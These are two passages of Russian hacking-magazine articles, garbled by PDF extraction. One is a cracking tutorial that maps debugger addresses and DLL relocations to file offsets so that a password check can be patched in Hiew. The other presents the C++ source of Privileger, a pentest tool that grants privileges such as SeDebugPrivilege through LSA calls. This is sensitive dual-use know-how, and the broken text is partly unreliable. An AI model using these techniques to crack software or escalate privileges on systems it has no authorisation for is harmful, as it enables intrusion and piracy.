такой адрес отсутс тву ет.

.rdata 0x7F-
F7159B2000

0x7ff7159b2280

ba r4 7ff7159b2280
gu

TEST EAX, 
EAX
0x7ff7159b10c3

Но теперь, ког да есть все необ ходимые зна чения, нет рудно пос читать, что
адрес  будет соот ветс тво вать адре су0x7ff7159b10c3

адрес инструкции в файле на диске == адрес инструкции в памяти – 
(адрес загрузки модуля – базовый адрес модуля): 

0x7ff7159b10c3 – (0x7ff7159b0000 – 0x140000000) == 0x7ff7159b10c3 – 
7FF5D59B0000 == 1400010C3 

Для про вер ки заг лянем в дизас сем блер ный лис тинг и с удов летво рени ем
обна ружим, что это как раз тот адрес, инс трук цию по которо му мы пра вили:

00000001400010C3: 85 C0  test  eax,eax 
00000001400010C5: 74 58  je    000000014000111F 

Все вер но, пос мотри, как хорошо это сов пада ет с дам пом отладчи ка:

00007ff7`159b10c3 85c0  test  eax, eax 
00007ff7`159b10c5 7458  je    passCompare1!main+0xaf (7ff7159b111f) 

Сле дующим дей стви ем заломим прог рамму. Это мы уже про ходи ли в треть ем
шаге пер вой статьи. Ничего нового непос редс твен но во взло ме не появи- 
лось, мы наш ли адрес, а про цеду ра кря ка такая же: запус каем Hiew — и в бой.

ÏÅÐÅÌÅÙÀÅÌÎÑÒÜ DLL

Под занавес прош лой статьи мы упо мяну ли, что в ста рых вер сиях Windows
мож но было заг рузить один и тот же модуль .exe два раза, пред ста вив его
в виде DLL. Одна ко сей час этот трюк не про каты вает, собс твен но, он и не
нужен, пос коль ку, как мы уви дели в пре дыду щем раз деле, Windows сво бод но
переме щает в памяти заг ружен ный модуль .exe отно ситель но заранее опре- 
делен ных адре сов. Теперь давай раз берем ся, как обсто ят дела с динами чес- 
кими биб лиоте ками.

Для раз нооб разия сле дующие при меры откомпи лиру ем для плат формы
IA-32. На самом деле 32-бит ных при ложе ний раз работа но так мно го, что их
при дет ся ана лизи ровать еще мно го лет.

В том слу чае, ког да адрес заг рузки DLL заранее неиз вестен, сис темный
заг рузчик кор ректи рует непос редс твен ные сме щения в соот ветс твии с выб- 
ранным базовым адре сом заг рузки. Это нес коль ко замед ляет заг рузку при- 
ложе ния, но зато не ухуд шает быс тро дей ствие самой прог раммы.

Единс твен ная проб лема — как отли чить дей стви тель ные непос редс твен- 
ные сме щения от кон стант, сов пада ющих с ними по зна чению? Не дизас сем- 
бли ровать же, в самом деле, DLL, что бы разоб рать ся, какие имен но ячей ки
в ней необ ходимо «под кру тить»? Вер но, куда про ще перечис лить их адре са
в спе циаль ной таб лице, рас положен ной непос редс твен но в заг ружа емом
фай ле и носящей гор дое имя «таб лицы переме щаемых эле мен тов». За ее
фор мирова ние отве чает ком понов щик.

Что бы поз накомить ся с ней поб лиже, откомпи лиру ем и изу чим сле дующий
при мер:

fixupdemo.c:
   __declspec(dllexport) void meme(int x)

{
     static int a=0x666;
   a=x;
}

От компи лиру ем коман дой  и тут же дизас сем бли руем
его:

cl fixupdemo.c /LD

DUMPBIN /DISASM fixupdemo.dll > fixupdemo-disasm.txt 
DUMPBIN /SECTION:.data /RAWDATA fixupdemo.dll > fixupdemo-data.txt 

10001000: 55              push  ebp 
10001001: 8B EC           mov   ebp,esp 
10001003: 8B 45 08        mov   eax,dword ptr [ebp+8] 
10001006: A3 30 60 00 10  mov   dword ptr ds:[10006030h],eax 
1000100B: 5D              pop   ebp 
1000100C: C3              ret 

RAW DATA #3 
10006000: 00 00 00 00 00 00 00 00 00 00 00 00 63 28 00 

10  ............c(.. 
10006010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00  ................ 
10006020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

00  ................ 
10006030: 66 06 00 00 E3 11 00 10 FF FF FF FF 00 00 00 00  f...a...

yyyy.... 

Су дя по коду, запись содер жимого EAX всег да про исхо дит в ячей ку
. Но не торопись с вывода ми! Давай пос мотрим содер жимое таб- 

лицы переме щаемых эле мен тов:
0x10006030

DUMPBIN /RELOCATIONS fixupdemo.dll > fixupdemo-relocations.txt 

BASE RELOCATIONS #4 
1000 RVA, 164 SizeOfBlock 
  7  HIGHLOW  10006030 
 1C  HIGHLOW  10005004 
 23  HIGHLOW  10008A50 
 32  HIGHLOW  10008A50 
 3A  HIGHLOW  10008A51 

Таб лица переме щаемых эле мен тов-то не пус та! И пер вая же ее запись ука- 
зыва ет на ячей ку , получен ную алгебра ичес ким сло жени ем сме- 
щения  с RVA-адре сом  и базовым адре сом заг рузки 
(получи его с помощью DUMPBIN самос тоятель но). Смот рим — ячей ка

 при над лежит инс трук ции  и ука зыва ет
на самый стар ший байт непос редс твен ного сме щения. Вот это самое сме- 
щение и кор ректи рует заг рузчик в ходе под клю чения динами чес кой биб- 
лиоте ки (разуме ется, если в этом есть необ ходимость).

0x100001007
0x7 0x1000 0x10000000

0x100001007 MOV [0x10006030],EAX

Же лаешь про верить? Пожалуй ста, соз дадим две копии одной DLL (нап- 
ример, с помощью коман ды ) и заг- 
рузим их пооче ред но сле дующей прог раммой:

copy fixupdemo.dll fixupdemo2.dll

fixupload.c:
#include <windows.h>
main()
{
    void (*demo) (int a);
  HMODULE h;
   if ((h=LoadLibrary("fixupdemo.dll")) &&
   (h=LoadLibrary("fixupdemo2.dll")) &&
    (demo=(void (*)(int a))GetProcAddress(h,"meme")))
   demo(0x777);
}

Сра зу же из коман дной стро ки откомпи лиру ем: .cl fixupload.c
Пос коль ку по одно му и тому же адре су две раз личные DLL не заг рузишь

(отку да же сис теме знать, что это одна и та же DLL!), заг рузчи ку при ходит ся
при бегать к ее переме щению. Заг рузим откомпи лиро ван ную прог рамму
в отладчик и уста новим точ ку оста нова на фун кцию  коман дой

.
LoadLibraryA

bp KernelBase!LoadLibraryA
К сло ву, коман да  поз воля ет уста новить точ ку оста нова по адре су, опре- 

делен ному фун кци ей. Уста нов ка точ ки оста нова на пер вую коман ду необ- 
ходима, что бы про пус тить startup-код и попасть в тело фун кции . Как лег- 
ко убе дить ся, исполне ние прог раммы начина ется отнюдь не с , а со слу- 
жеб ного кода, в котором очень лег ко уто нуть. Но отку да взя лась загадоч ная
бук ва  на кон це име ни фун кции? Ее про исхожде ние тес но свя зано с вве- 
дени ем в Windows под дер жки уни кода.

bp

main
main

А

При мени тель но к  — теперь имя биб лиоте ки может быть
написа но на любом язы ке. Зву чит заман чиво, но не ухуд шает ли это про изво- 
дитель ность? Разуме ется, ухуд шает, еще как! В боль шинс тве слу чаев впол не
дос таточ но ста рой доб рой кодиров ки ASCII. Так какой же смысл бро сать дра- 
гоцен ные так ты про цес сора на ветер? Ради про изво дитель нос ти было
решено пос тупить ся раз мером, соз дав отдель ные вари анты фун кций
для работы с уни кодом и ASCII-сим волами. Пер вые получи ли суф фикс  (от
Wide — широкий), а вто рые — А (от ASCII). Эта тон кость скры та от прик ладных
прог раммис тов. Какую имен но фун кцию вызывать —  или , реша ет ком- 
пилятор, но при работе с отладчи ком необ ходимо ука зывать точ ное имя фун- 
кции — самос тоятель но опре делить суф фикс он не в сос тоянии. Камень
прет кно вения в том, что некото рые фун кции, нап ример , вооб ще
не име ют суф фиксов — ни , ни  — и их биб лиотеч ное имя сов пада ет
с канони чес ким. Как же быть?

LoadLibrary

W

W А

ShowWindows
А W

Са мое прос тое — заг лянуть в таб лицу импорта пре пари руемо го фай ла
и отыс кать там нуж ную фун кцию. Нап ример, при мени тель но к нашему слу чаю:

>DUMPBIN /IMPORTS fixupload.exe > fixupload-imports.exe 
... 
175 GetVersionExA 
1C2 LoadLibraryA 
CA GetCommandLineA 
174 GetVersion 
7D ExitProcess 
29E TerminateProcess 
F7 GetCurrentProcess 
... 

Developer Command Prompt for VS2017 с вве ден ными коман дами

Из при веден ного выше фраг мента вид но, что  все-таки име ет
суф фикс , а вот фун кции  и  не име ют суф- 
фиксов, пос коль ку вооб ще не работа ют со стро ками.

LoadLibrary
А ExitProcess TerminateProcess

Но вер немся к нашим баранам, от которых нам приш лось так далеко отой- 
ти. Итак, мы пос тавили бряк на  и про дол жили выпол нение
прог раммы, она момен таль но сно ва оста нав лива ется на точ ке оста нова.

LoadLibraryA

Со дер жимое отладчи ка в момент оста нова на фун кции LoadLibraryA

На жима ем сочета ние Shift-F11 для выхода из  (ана лизи ровать
ее, в самом деле, ни к чему) и ока зыва емся в лег ко узна ваемом теле фун кции

:

LoadLibraryA

main

0040100b ff1504504000  call dword ptr [fixupload+0x5004 (00405004)] 
00401011 8945f8        mov  dword ptr [ebp-8], eax ss:002b:
0019ff38=00401055 
00401014 837df800      cmp  dword ptr [ebp-8], 0 
00401018 7437          je   fixupload+0x1051 (00401051) 
0040101a 6840604000    push offset fixupload+0x6040 (00406040) 
0040101f ff1504504000  call dword ptr [fixupload+0x5004 (00405004)] 
… 
00401046 6877070000     push    777h 
0040104b ff55fc         call    dword ptr [ebp-4] 

Толь ко пос ле воз вра щения из  отладчик не под ста вил в мес то
вызова фун кции ее сим воль ное имя стро кой выше выделен ной:

LoadLibraryA

call  dword ptr [fixupload+0x5004 (00405004)] 

За пом ним ее как вызов .LoadLibraryA
Об рати вни мание на содер жимое регис тра EAX (для это го слу жит коман да

) — фун кция воз вра тила в нем адрес заг рузки (на моем
компь юте ре рав ный ). Про дол жая трас сиров ку (кноп ка F10), дож- 
дись выпол нения вто рого вызова .

r <имя регистра>
0x10000000

LoadLibraryA
Не прав да ли, на этот раз адрес заг рузки изме нил ся? На моем компь юте- 

ре он равен .0x001d0000
Приб лижа емся к вызову фун кции . В отладчи ке это выг лядит так:demo

push 777h 
call dword ptr [ebp-4] 

Вто рая инс трук ция ни о чем не говорит, но вот аргу мент  в пер вой инс- 
трук ции опре делен но что-то нам напоми нает. Смот ри исходный текст 

. Не забудь перес тавить палец с кла виши F10 на кла вишу F8, что бы
вой ти внутрь фун кции.

0x777
fixu-

pload.c

001d1000 55          push  ebp 
001d1001 8bec        mov   ebp, esp 
001d1003 8b4508      mov   eax, dword ptr [ebp+8] 
001d1006 a330601d00  mov   dword ptr [fixupdemo2!meme+0x5030 (
001d6030)], eax 
001d100b 5d          pop   ebp 
001d100c c3          ret 

Вот оно! Сис темный заг рузчик скор ректи ровал адрес ячей ки сог ласно
базово му адре су заг рузки самой DLL. Это, конеч но, хорошо, да вот проб- 
лема — в ори гиналь ной DLL нет ни такой ячей ки, ни даже пос ледова тель нос- 
ти , в чем лег ко убе дить ся, про изве дя кон текс тный поиск.
Допус тим, воз намери лись бы мы затереть эту коман ду NOP’ами. Как най ти
это мес то в ори гиналь ной DLL?

A3 30 60 1D 00

Об ратим свой взор выше, на коман ды, заведо мо не содер жащие переме- 
щаемых эле мен тов:

001d1000 55      push  ebp 
001d1001 8bec    mov   ebp, esp 
001d1003 8b4508  mov   eax, dword ptr [ebp+8] 

От чего бы не поис кать пос ледова тель ность ? В дан- 
ном слу чае это сра бота ет, смот ри, как хорошо сов пада ет:

55 8B EC 8B 45 08 A3

10001000: 55              push  ebp 
10001001: 8B EC           mov   ebp,esp 
10001003: 8B 45 08        mov   eax,dword ptr [ebp+8] 
10001006: A3 30 60 00 10  mov   dword ptr ds:[10006030h],eax 

Но если бы переме щаемые эле мен ты были гус то переме шаны с «нор маль- 
ными», ничего бы не выш ло. Опор ная пос ледова тель ность ока залась бы
слиш ком корот кой для поис ка и выдала бы мно жес тво лож ных сра баты ваний.

Бо лее изящ но и надеж но вычис лить истинное содер жимое переме щаемых
эле мен тов, выч тя из них раз ницу меж ду дей стви тель ным и рекомен дуемым
адре сом заг рузки. В дан ном слу чае:

модифицированный загрузчиком адрес – (базовый адрес загрузки – 
рекомендуемый адрес загрузки): 0x1d6030 – (0x001d0000 – 0x10000000) 
== 0x1d6030 – FFFFFFFFF01D0000 == 0x10006030 

Най ден ная в Hiew инс трук ция

Учи тывая обратный порядок сле дова ния бай тов, получа ем, что инс трук ция
 в машин ном коде дол жна выг лядеть

так: . Ищем ее в Hiew, и чудо — она есть! © X

mov dword ptr ds:[10006030h],eax
A3 30 60 00 10
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ВЗЛОМ

При виле гии в Windows игра ют очень важ- 
ную роль, так как адми нис тра тор име ет воз- 
можность пре дос тавить спе циаль ные пра ва
поль зовате лям для решения их задач.
В этой статье мы поз накомим ся с инс тру- 
мен том Privileger, который поз воля ет отыс- 
кивать в сис теме учет ные записи с опре- 
делен ными при виле гиями и менять при- 
виле гии у задан ного акка унта.

О работе с при виле гиями я писал в , но мы рас смот рели лишь
обрывки кода, которые, как ока залось, слож но было прев ратить в пол ноцен- 
ный про ект. Поэто му, ког да на оче ред ном пен тесте мне вновь пот ребова лось
кодить все с нуля, я понял, что без готово го инс тру мен та не обой тись. И сде- 
лал , который, к моему удив лению, стал дос таточ но популяр ным.

прош лой статье

Privileger

Ре лиз инс тру мен та

В сегод няшней статье мы раз берем прин цип работы это го инс тру мен та,
а так же про бежим ся по всем пяти режимам, которые поз воля ют:

до бавить при виле гии локаль ному акка унту с помощью вызова лишь одной
фун кции. Рань ше это мож но было сде лать толь ко через GPO и, если мне
не изме няет память, еще тре бова лась перезаг рузка хос та, что не очень
удоб но;

•

за пус тить про цесс, добавив в его токен кон крет ную при виле гию;•
уда лить при виле гию у акка унта. Опять же рань ше это выпол нялось
с помощью GPO — сей час исполь зует ся вызов фун кции;

•

об наружить акка унт с нуж ной при виле гией на какой-нибудь машине;•
об наружить при виле гии у акка унта на какой-нибудь машине.•

Продолжение статьи →
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УПРАВЛЯЕМ ПРИВИЛЕГИЯМИ В WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←
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Итак, все, как и в любом дру гом про екте на язы ке С, начина ется с фун кции
, в которую при лета ют все нуж ные парамет ры. Пос ле чего для обес- 

печения кор рек тно го вывода кирил личес ких (и иных) сим волов дер гаем 
, выводим прек расный ASCII-бан нер и прис тупа ем к валида ции

вход ных дан ных.

main()
set-

locale()

     int wmain(int argc, wchar_t* argv[]) {
    setlocale(LC_ALL, "");
   ShowAwesomeBanner();

         DWORD dwRC = 0, dwV = 0;
       if (argc != 4) {
       ShowHelp();

        return 0;
   }

     switch (*argv[1]) {
    case '1':

            if (ValidateAccInfo(argv[2], argv[3]) == 0) {
              dwRC = InitMode1(argv[2], argv[3]);

       }
       break;
    case '2':

            if (ValidatePathInfo(argv[2], argv[3]) == 0) {
              dwRC = InitMode2(argv[2], argv[3]);

       }
       break;
    case '3':

            if (ValidateAccInfo(argv[2], argv[3]) == 0) {
              dwRC = InitMode3(argv[2], argv[3]);

       }
       break;
    case '4':

         if (ValidatePriv(argv[3])) {
              dwRC = InitMode4(argv[2], argv[3]);

       }
        else {

               std::wcout << L"[-] ValidatePriv() Failed" << std::endl;
       }
       break;
    case '5':

  
  

       std::wcout << L"[!] I'm not able to validate username and PC 
name. Make sure you enter the correct data." << std::endl;
       Sleep(500);

           std::wcout << L"[!] Starting" << std::endl;
            if (InitMode5(argv[2], argv[3]) != 0) {

               std::wcout << L"[-] InitMode 5 Error" << std::endl;
       }
       break;
   default:

           std::wcout << L"[-] No such mode" << std::endl;
        return 0;

   }
    return dwRC;
}

Ес ли тре бует ся исполь зовать пер вый режим работы, то есть добавить при- 
виле гии акка унту, поль зователь дол жен пре дос тавить сле дующие вход ные
дан ные:

1 — режим работы;•
имя поль зовате ля — кому навеши вать при виле гию;•
прог рам мное имя при виле гии — какую при виле гию добав лять.•

Прог рам мное имя при виле гии — это само имя при виле гии. Есть еще так
называ емое дру жес твен ное имя — это ее опи сание. Нап ример, прог рам мное
имя , а дру жес твен ное — .SeDebugPrivilege Отладка программ

Итак, обра щаем ся к Privileger.

.\Privilegerx64.exe 1 Michael SeDebugPrivilege 

Ус пешное добав ление при виле гии

Я пре дус мотрел про вер ку на валид ность име ни поль зовате ля, а так же име ни
при виле гии, что бы пре дот вра тить оче пят ки. Про вер ка реали зует ся фун кци ей

, которая при нима ет имя поль зовате ля, а так же прог рам- 
мное имя при виле гии.
ValidateAccInfo()

     DWORD ValidateAccInfo(wchar_t* cAccName, wchar_t* cPrivName) {
   // validating username
      DWORD sid_size = 0;
    PSID UserSid;
      LPTSTR wSidStr = NULL;
      DWORD domain_size = 0;
    SID_NAME_USE sid_use;
          

  
DWORD wow = LookupAccountName(NULL, cAccName, NULL, &sid_size,

NULL, &domain_size, &sid_use);
      DWORD dw = GetLastError();
                if ((wow == 0) && ( (dw == 122) || (dw == 0))) {

               std::wcout << L"[+] User " << cAccName << L" found" << std::
endl;

       // validating Privilege name
         if (!ValidatePriv(cPrivName)) {

               std::wcout << L"[-] ValidateAccInfo() failed" << std::
endl;

            return 1;
       }

        else {
               std::wcout << L"[+] ValidateAccInfo() success" << std::

endl;
            return 0;

       }
   }
    else {

  
    

       std::wcout << L"[-] Username may be incorrect. 
LookupAccountName() Err: " << dw << std::endl;

        return 1;
   }
    return 1;
}

Ука зание невер ного име ни при виле гии

Не вер ное имя поль зовате ля

Про вер ку име ни поль зовате ля я сде лал с помощью фун кции 
. Сама по себе она слу жит для получе ния SID (security identier) поль- 

зовате ля по его име ни, но нам нич то не меша ет исполь зовать ее прос то
для про вер ки име ни поль зовате ля, ведь если компь ютер не обна ружит поль- 
зовате ля с таким име нем, то и вызов фун кции при ведет к ошиб ке.

LookupAccount-
Name()

Про вер ку прог рам мно го име ни при виле гии я так же вынес в отдель ную
фун кцию.

   BOOL ValidatePriv(wchar_t* cPrivName) {
    LUID luid;
       if (!LookupPrivilegeValue(NULL, cPrivName, &luid)) {

      
  

       std::wcout << L"[-] Privilege " << cPrivName << L" may be 
incorrect" << std::endl;

        return FALSE;
   }
    else {

      
  

       std::wcout << L"[+] Privilege " << cPrivName << L" Found \n[
+] Validation Success" << std::endl;

        return TRUE;
   }
}

Здесь алго ритм схож: дер гаем , если при виле гия
есть — все ок, если нет — ошиб ка.

LookupPrivilegeValue()

Убе див шись, что пре дос тавлен ные дан ные вер ны, инс тру мент вызыва ет
, которо му так же переда ет имя поль зовате ля и имя при виле гии.

Внут ри этой фун кции мы получа ем хендл на LSA текуще го компь юте ра (так
как работа ем с при виле гиями локаль ного акка унта) вызовом фун кции 

.

InitMode1()

Get-
Policy()

     DWORD InitMode1(wchar_t* cAccName, wchar_t* cPrivName) {
      
       
std::wcout << L"[+] Initializing mode 1 \n [+] Target Account: "

<< cAccName << "\n [+] Privilege: " << cPrivName << std::endl;
    LSA_HANDLE hPolicy;
       if (GetPolicy(&hPolicy) != 0) {

           std::wcout << L" [-] GetPolicy() Error: " << std::endl;
        return 1;

   }
      AddUserPrivilege(hPolicy, cAccName, cPrivName, TRUE);
    return 0;
}

  DWORD GetPolicy(PLSA_HANDLE LsaHandle){
          wchar_t cCompName[MAX_COMPUTERNAME_LENGTH + 1] = { 0 };
      DWORD size = sizeof(cCompName);
      if (GetComputerNameW(cCompName, &size)) {

             std::wcout << L" [+] ComputerName: " << cCompName << std::
endl;
   }
    else {

    
  

       std::wcout << L" [-] GetComputerNameW Error: " <<
GetLastError() << std::endl;
   }

        LSA_OBJECT_ATTRIBUTES lsaOA = { 0 };
        LSA_UNICODE_STRING lsastrComputer = { 0 };
     lsaOA.Length = sizeof(lsaOA);
       lsastrComputer.Length = (USHORT)(lstrlen(cCompName) * sizeof(
WCHAR));
       lsastrComputer.MaximumLength = lsastrComputer.Length + sizeof(
WCHAR);
     lsastrComputer.Buffer = (PWSTR)&cCompName;
        

 
NTSTATUS ntStatus = LsaOpenPolicy(&lsastrComputer, &lsaOA,

POLICY_ALL_ACCESS, LsaHandle);

      ULONG lErr = LsaNtStatusToWinError(ntStatus);
       if (lErr != ERROR_SUCCESS) {

             std::wcout << L" [-] LsaOpenPolicy() Error: " << lErr << std:
:endl;

        return 1;
   }
    else {

           std::wcout << L" [+] LsaOpenPolicy() Success" << std::endl;
        return 0;

   }
    return 1;
}

По луча ют хендл на полити ку через фун кцию . Единс твен ная
осо бен ность работы с LSA сос тоит в том, что у нее свои коды оши бок,
которые прос то через  не пой мать. Нуж но получать зна чение

, которое воз вра щает каж дая фун кция, работа ющая с LSA, а затем
переда вать это зна чение в  для пре обра зова ния
в понят ный челове чес кому гла зу код ошиб ки.

LsaOpenPolicy

GetLastError()
NTSTATUS

LsaNtStatusToWinError()

По коду ошиб ки мож но понять, что сло малось, — заг лядывай в 
.

офи циаль- 
ную докумен тацию

Ес ли сис тема выдала нам кор рек тный хендл и мы не получи ли 
, перехо дим к навеши ванию при виле гии поль зовате лю, к фун- 

кции .

ERROR_AC-
CESS_DENIED

AddUserPrivilege()

      
   

DWORD AddUserPrivilege(LSA_HANDLE hPolicy, LPWSTR wUsername, LPWSTR
wPrivName, BOOL bEnable) {
    PSID UserSid;
      DWORD sid_size = 0;
      LPTSTR wSidStr = NULL;
      DWORD domain_size = 0;
    SID_NAME_USE sid_use;
         

  
if (!LookupAccountName(NULL, wUsername, NULL, &sid_size, NULL, &

domain_size, &sid_use)) {
      

 
       UserSid = (PSID)VirtualAlloc(NULL, sid_size, MEM_RESERVE |
MEM_COMMIT, PAGE_READWRITE);

          LPTSTR domain = NULL;
     

    
       domain = (LPTSTR)VirtualAlloc(NULL, domain_size * sizeof(
WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    
  
       LookupAccountName(NULL, wUsername, UserSid, &sid_size, domain
, &domain_size, &sid_use);

         VirtualFree(domain, 0, MEM_RELEASE);
        ConvertSidToStringSid(UserSid, &wSidStr);

             std::wcout << L" [+] User SID: " << wSidStr << std::endl;

            LSA_UNICODE_STRING lsastrPrivs[1] = { 0 };

         lsastrPrivs[0].Buffer = (PWSTR)wPrivName;
           lsastrPrivs[0].Length = lstrlen(lsastrPrivs[0].Buffer) *

sizeof(WCHAR);
           lsastrPrivs[0].MaximumLength = lsastrPrivs[0].Length + sizeof

(WCHAR);

         if (bEnable) {
     

 
           NTSTATUS ntStatus = LsaAddAccountRights(hPolicy, UserSid,
lsastrPrivs, 1);

              ULONG lErr = LsaNtStatusToWinError(ntStatus);
               if (lErr == ERROR_SUCCESS) {

      
  

               std::wcout << L" [+] Adding " << wPrivName << L" 
Success" << std::endl;

                   std::wcout << L" [+] Enumerating Current Privs" <<
std::endl;

                PrintTrusteePrivs(hPolicy, UserSid);
                 VirtualFree(UserSid, 0, MEM_RELEASE);

                return 0;
           }

            else {
                wprintf(L" [-] Error LsaAddAccountRights() %d", lErr)

;
                return 1;

           }
         } else {

     
  

           ULONG lErr = LsaRemoveAccountRights(hPolicy, UserSid,
FALSE, lsastrPrivs, 1);

               if (lErr == ERROR_SUCCESS) {
      

  
               std::wcout << L" [-] Removing " << wPrivName << L" 
Success" << std::endl;

                   std::wcout << L" [+] Enumerating Current Privs" <<
std::endl;

                PrintTrusteePrivs(hPolicy, UserSid);
                 VirtualFree(UserSid, 0, MEM_RELEASE);

                return 0;
           }

            else {
                wprintf(L" [-] Error LsaRemoveAccountRights() %d",

lErr);
                return 1;

           }
       }
   }
    else {

    
  

       std::wcout << L" [-] LookupAccountName() Error: " <<
GetLastError() << std::endl;

        return 1;
   }
    return 1;
}

До бав ление при виле гий поль зовате лю про исхо дит в нес коль ко эта пов.
1. Об наруже ние по име ни поль зовате ля его SID.
2. Ге нера ция  с име нем при виле гии, которую нуж но

добавить.
LSA_UNICODE_STRING

3. Вы зов .LsaAddAccountRights()

4. Про вер ка успешнос ти добав ления при виле гии.

Об наружить SID поль зовате ля по его име ни мож но с помощью упо мяну той
фун кции . Ее осо бен ность зак люча ется в том, что если
в качес тве буфера, куда дол жен упасть SID, переда вать NULL, то фун кция
прос то вер нет тре буемый раз мер буфера под раз мещение в нем SID.
Получа ем раз мер, затем выделя ем память под буфер и получа ем SID.

LookupAccountName()

      
  

if (!LookupAccountName(NULL, wUsername, NULL, &sid_size, NULL, &
domain_size, &sid_use)) {
         

 
UserSid = (PSID)VirtualAlloc(NULL, sid_size, MEM_RESERVE |

MEM_COMMIT, PAGE_READWRITE);
      LPTSTR domain = NULL;
         

   
domain = (LPTSTR)VirtualAlloc(NULL, domain_size * sizeof(WCHAR),

MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
        

 
LookupAccountName(NULL, wUsername, UserSid, &sid_size, domain, &

domain_size, &sid_use);
     VirtualFree(domain, 0, MEM_RELEASE);
    ConvertSidToStringSid(UserSid, &wSidStr);
         std::wcout << L" [+] User SID: " << wSidStr << std::endl;

Для пре обра зова ния струк туры SID в стро ку, содер жащую SID, мож но выз вать
.ConvertSidToStringSid()

Имя при виле гии дол жно быть записа но в струк туру ,
выг лядит вот так.

LSA_UNICODE_STRING

   typedef struct _LSA_UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
   PWSTR Buffer;
  } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;

Мож но, нап ример, запол нять струк туру руч ками, как сде лал я в про екте, либо
исполь зовать отдель ную фун кцию, как в 

.
мо ем инс тру мен те для инжекта

тикетов Kerberos

     LSA_UNICODE_STRING lsastrPrivs[1] = { 0 };
  lsastrPrivs[0].Buffer = (PWSTR)wPrivName;
    lsastrPrivs[0].Length = lstrlen(lsastrPrivs[0].Buffer) * sizeof(WCHAR

);
    lsastrPrivs[0].MaximumLength = lsastrPrivs[0].Length + sizeof(WCHAR);

На конец, вызыва ем фун кцию .LsaAddAccountRights()

  if (bEnable) {
        

 
NTSTATUS ntStatus = LsaAddAccountRights(hPolicy, UserSid,

lsastrPrivs, 1);
      ULONG lErr = LsaNtStatusToWinError(ntStatus);
       if (lErr == ERROR_SUCCESS) {

               std::wcout << L" [+] Adding " << wPrivName << L" Success" <<
std::endl;

           std::wcout << L" [+] Enumerating Current Privs" << std::endl;
        PrintTrusteePrivs(hPolicy, UserSid);

         VirtualFree(UserSid, 0, MEM_RELEASE);
        return 0;

   }
    else {

        wprintf(L" [-] Error LsaAddAccountRights() %d", lErr);
        return 1;

   }

Ус ловие  поз волит исполь зовать фун кцию 
 не толь ко для добав ления, но и для уда ления при виле гий из акка унта (эту

опе рацию мы рас смот рим чуть поз же). Сама фун кция по добав лению при- 
виле гии осо бо ничего не тре бует — хендл LSA, SID поль зовате ля, имя при- 
виле гии, которые мы ей и переда ем. Если при виле гия успешно добав лена,
дер гаем  — оче ред ную фун кцию, которая выведет все
при виле гии, наз начен ные кон крет ному акка унту.

if (bEnable) AddUserPrivilege(
)

PrintTrusteePrivs()

     DWORD PrintTrusteePrivs(LSA_HANDLE hPolicy, PSID psid) {
      BOOL fSuccess = FALSE;
    WCHAR szTempPrivBuf[256];
    WCHAR szPrivDispBuf[1024];
      PLSA_UNICODE_STRING plsastrPrivs = NULL;

    __try {
          ULONG lCount = 0;

     
 

       NTSTATUS ntStatus = LsaEnumerateAccountRights(hPolicy, psid,
&plsastrPrivs, &lCount);

          ULONG lErr = LsaNtStatusToWinError(ntStatus);
           if (lErr != ERROR_SUCCESS) {

             plsastrPrivs = NULL;
           __leave;
       }

          ULONG lDispLen = 0;
          ULONG lDispLang = 0;

                for (ULONG lIndex = 0; lIndex < lCount; lIndex++) {
             lstrcpyn(szTempPrivBuf, plsastrPrivs[lIndex].Buffer,

plsastrPrivs[lIndex].Length);
             szTempPrivBuf[plsastrPrivs[lIndex].Length] = 0;

            wprintf(L"\tProgrammatic name: %s\n", szTempPrivBuf);

             lDispLen = 1024;
   
  

           if (LookupPrivilegeDisplayNameW(NULL, szTempPrivBuf,
szPrivDispBuf, &lDispLen, &lDispLang))

                wprintf(L"\tDisplay Name: %ws\n\n", szPrivDispBuf);
       }

         fSuccess = TRUE;
   }
    __finally {

         if (plsastrPrivs) LsaFreeMemory(plsastrPrivs);
   }
    return (fSuccess);
}

Здесь с помощью фун кции  мы получа ем
количес тво при виле гий поль зовате ля, а в буфер  упа- 
дут их име на. Пос ле чего в цик ле прос то пар сим их, допол нитель но получая
дру жес твен ные име на с помощью .

LsaEnumerateAccountRights()
PLSA_UNICODE_STRING

LookupPrivilegeDisplayNameW()
В прин ципе, вот так работа ет добав ление при виле гий акка унту.

Продолжение статьи →

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupaccountnamea
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluea
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaopenpolicy
https://learn.microsoft.com/ru-ru/windows/win32/debug/system-error-codes--0-499-
https://learn.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaaddaccountrights
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupaccountnamea
https://learn.microsoft.com/en-us/windows/win32/api/sddl/nf-sddl-convertsidtostringsida
https://github.com/MzHmO/articles/blob/main/Ticket%20Injector/Source.cpp#L7
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaaddaccountrights
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumerateaccountrights
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegedisplaynamew


УПРАВЛЯЕМ ПРИВИЛЕГИЯМИ В WINDOWS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÇÀÏÓÑÊÀÅÌ ÏÐÎÖÅÑÑ Ñ ÏÐÈÂÈËÅÃÈÅÉ

Осо бен ностью вто рого режима работы мож но счи тать то, что нам при дет ся
про верять не толь ко имя при виле гии, но и путь, что бы на каком-нибудь пен- 
тесте в самый раз гар работ не вывали лось веселое исклю чение. Про вер ку
этих дан ных я реали зовал в фун кции .ValidatePathInfo()

     DWORD ValidatePathInfo(wchar_t* Path, wchar_t* cPrivName) {
      BOOL bPathEx = PathFileExistsW(Path);
     if (bPathEx) {

